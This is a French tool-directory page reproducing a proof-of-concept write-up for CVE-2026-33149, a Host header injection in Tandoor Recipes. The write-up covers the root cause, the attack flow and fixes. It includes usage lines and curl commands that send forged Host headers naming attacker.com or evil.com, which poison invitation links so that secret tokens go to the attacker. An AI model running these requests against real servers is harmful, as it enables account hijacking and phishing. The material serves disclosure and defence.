Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33149-PoC — Preuve de concept d'exploitation pour CVE-2026-33149, une injection d'en-tête Host dans Tandoor Recipes permettant l'empoisonnement de liens d'invitation et l'empoisonnement du cache. Inclut des modules pour l'acceptation d'hôte, la pagination, le schéma et l'empoisonnement des invitations. | Kitploit
Outils/GitHubGitHub/filipegaudard/cve-2026-33149-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebHameçonnageSécurité WebTests d'Intrusion
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

Voir le dépôt
il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Preuve de concept d'exploitation pour CVE-2026-33149, une injection d'en-tête Host dans Tandoor Recipes permettant l'empoisonnement de liens d'invitation et l'empoisonnement du cache. Inclut des modules pour l'acceptation d'hôte, la pagination, le schéma et l'empoisonnement des invitations.

Partager

CVE-2026-33149 — Injection d'en-tête Host dans Tandoor Recipes

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


Résumé

Tandoor Recipes définit ALLOWED_HOSTS = '*' par défaut dans settings.py, ce qui amène Django à accepter n'importe quelle valeur dans l'en-tête HTTP sans validation. L'application utilise pour générer des URL absolues dans plusieurs contextes sensibles à la sécurité. Un attaquant capable d'envoyer des requêtes avec un en-tête falsifié peut rediriger toutes les URL générées par le serveur vers un domaine contrôlé par l'attaquant.

Host
request.build_absolute_uri()
Host

L'impact le plus critique est l'empoisonnement des liens d'invitation : lorsqu'un administrateur crée une invitation utilisateur, l'e-mail envoyé par le serveur contient un lien pointant vers le domaine de l'attaquant. La victime clique sur un e-mail d'apparence légitime, le jeton d'invitation est exfiltré, et l'attaquant l'utilise pour détourner le processus de provisionnement du compte.

Détails de la vulnérabilité

ChampValeur
ID CVECVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — Neutralisation incorrecte des en-têtes HTTP pour la syntaxe de script
CVSS v3.18.1 ÉLEVÉE — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
Version affectéeTandoor Recipes ≤ 2.5.3
FournisseurTandoorRecipes/recipes

Cartographie MITRE ATT&CK

ID de techniqueNomPertinence
T1557Adversaire au milieuManipulation des URL générées par le serveur pour rediriger le trafic
T1566.002Hameçonnage : Lien d'hameçonnage cibléL'e-mail d'invitation empoisonné contient un lien contrôlé par l'attaquant

Analyse de la cause racine

1. ALLOWED_HOSTS générique

Fichier : recipes/settings.py:118

root@kitploit:~
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

ALLOWED_HOSTS de Django est une mesure de sécurité qui valide l'en-tête Host par rapport à une liste blanche. Le caractère générique '*' désactive entièrement cette validation, permettant n'importe quelle valeur arbitraire.

2. Génération d'URL non sécurisée dans les e-mails d'invitation

Fichier : cookbook/serializer.py:1852-1853

root@kitploit:~
message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri() construit les URL en utilisant request.get_host(), qui renvoie la valeur brute de l'en-tête Host lorsque ALLOWED_HOSTS ne la restreint pas. L'UUID d'invitation — un jeton secret — est intégré dans l'URL qui pointe désormais vers l'attaquant.

3. Surfaces affectées supplémentaires

  • Pagination API — Les classes de pagination DRF utilisent build_absolute_uri() pour les URL next/previous
  • Schéma OpenAPI — Le générateur de schéma l'utilise pour les URL du serveur
  • Empoisonnement du cache — Les déploiements avec des proxys de cache risquent de servir des URL empoisonnées à tous les utilisateurs à partir d'une seule requête

Flux d'attaque

root@kitploit:~
┌──────────┐     ① Requête falsifiée         ┌─────────────────┐
│ Attaquant │ ──────────────────────────────→│  Serveur Tandoor │
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             utilise "attacker.com"
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  Serveur SMTP  │
                                            └────────┬───────┘
                                                     │
                                       ③ E-mail avec lien empoisonné :
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    Victime     │
                                            │  (clique le lien) │
                                            └────────┬───────┘
                                                     │
                                          ④ UUID envoyé à l'attaquant
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │   Attaquant    │
                                            │ utilise l'UUID │
                                            │ sur le vrai    │
                                            │ serveur        │
                                            └────────────────┘

Preuve de concept

Prérequis

  • Python 3.8+
  • Bibliothèque requests
root@kitploit:~
pip install requests

Utilisation

root@kitploit:~
# Exécuter tous les modules de validation avec authentification de base
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# Exécuter tous les modules avec des cookies de session
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# Empoisonnement du lien d'invitation uniquement
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

Modules

ModuleDescription
host-acceptVérifie que la cible accepte des en-têtes Host arbitraires (ALLOWED_HOSTS = '*')
paginationConfirme que les URL de pagination API reflètent le domaine injecté
schemaConfirme que les URL du serveur de schéma OpenAPI reflètent le domaine injecté
inviteCrée un lien d'invitation empoisonné — le vecteur d'attaque principal
allExécute tous les modules séquentiellement

Vérification manuelle (curl)

1. Acceptation de l'en-tête Host

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# Attendu : 200 (vulnérable) | 400 (corrigé)

2. Réflexion de l'URL de pagination

root@kitploit:~
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# Attendu : {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. Réflexion de l'URL du schéma

root@kitploit:~
curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Attendu : http://evil.com/...

4. Empoisonnement du lien d'invitation

root@kitploit:~
curl -s http://TARGET:8085/api/invite-link/ \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "X-CSRFToken: CSRF" \
  -H "Host: attacker.com" \
  -d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# La victime reçoit l'e-mail : "Click: http://attacker.com/invite/<uuid>"

Impact

Zone d'impactDescriptionGravité
Détournement du jeton d'invitationL'attaquant capture l'UUID d'invitation via le lien d'e-mail empoisonné, détournant le provisionnement du compteCritique
Hameçonnage d'identifiantsLa victime atterrit sur un domaine contrôlé par l'attaquant en s'attendant à une page d'inscription légitimeÉlevée
Empoisonnement du cacheDans les déploiements avec proxys de cache, une seule réponse empoisonnée contamine le cache pour tous les utilisateursÉlevée
Mauvaise orientation des clients APILes URL de pagination et de schéma redirigent les consommateurs API vers l'infrastructure de l'attaquantMoyenne

Remédiation

Correctif immédiat

Définissez ALLOWED_HOSTS pour lister explicitement vos noms d'hôte valides :

root@kitploit:~
# docker-compose.yml ou .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost

Défense en profondeur

  1. Validation du proxy inverse — Configurez Nginx/Apache pour rejeter les requêtes avec des en-têtes Host inattendus avant qu'elles n'atteignent Django
  2. USE_X_FORWARDED_HOST = False — Assurez-vous que Django ne fait pas confiance à X-Forwarded-Host provenant de sources non fiables (la valeur par défaut est False)
  3. Renforcement des liens SMTP — Utilisez une configuration SITE_URL explicite pour la génération des liens d'e-mail au lieu de vous fier à request.build_absolute_uri()

Références

  • GHSA-x636-4jx6-xc4w
  • CVE-2026-33149
  • CWE-644 : Neutralisation incorrecte des en-têtes HTTP
  • Documentation Django ALLOWED_HOSTS
  • MITRE ATT&CK T1557 — Adversaire au milieu
  • MITRE ATT&CK T1566.002 — Hameçonnage : Lien d'hameçonnage ciblé

Avertissement

Cette preuve de concept est fournie à des fins de tests de sécurité autorisés et à des fins éducatives uniquement. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil.


Auteur

Filipe Gaudard — Chercheur en sécurité offensive | eWPT | eWPTx

  • GitHub : @FilipeGaudard
  • LinkedIn : Filipe Gaudard
Télécharger l’outil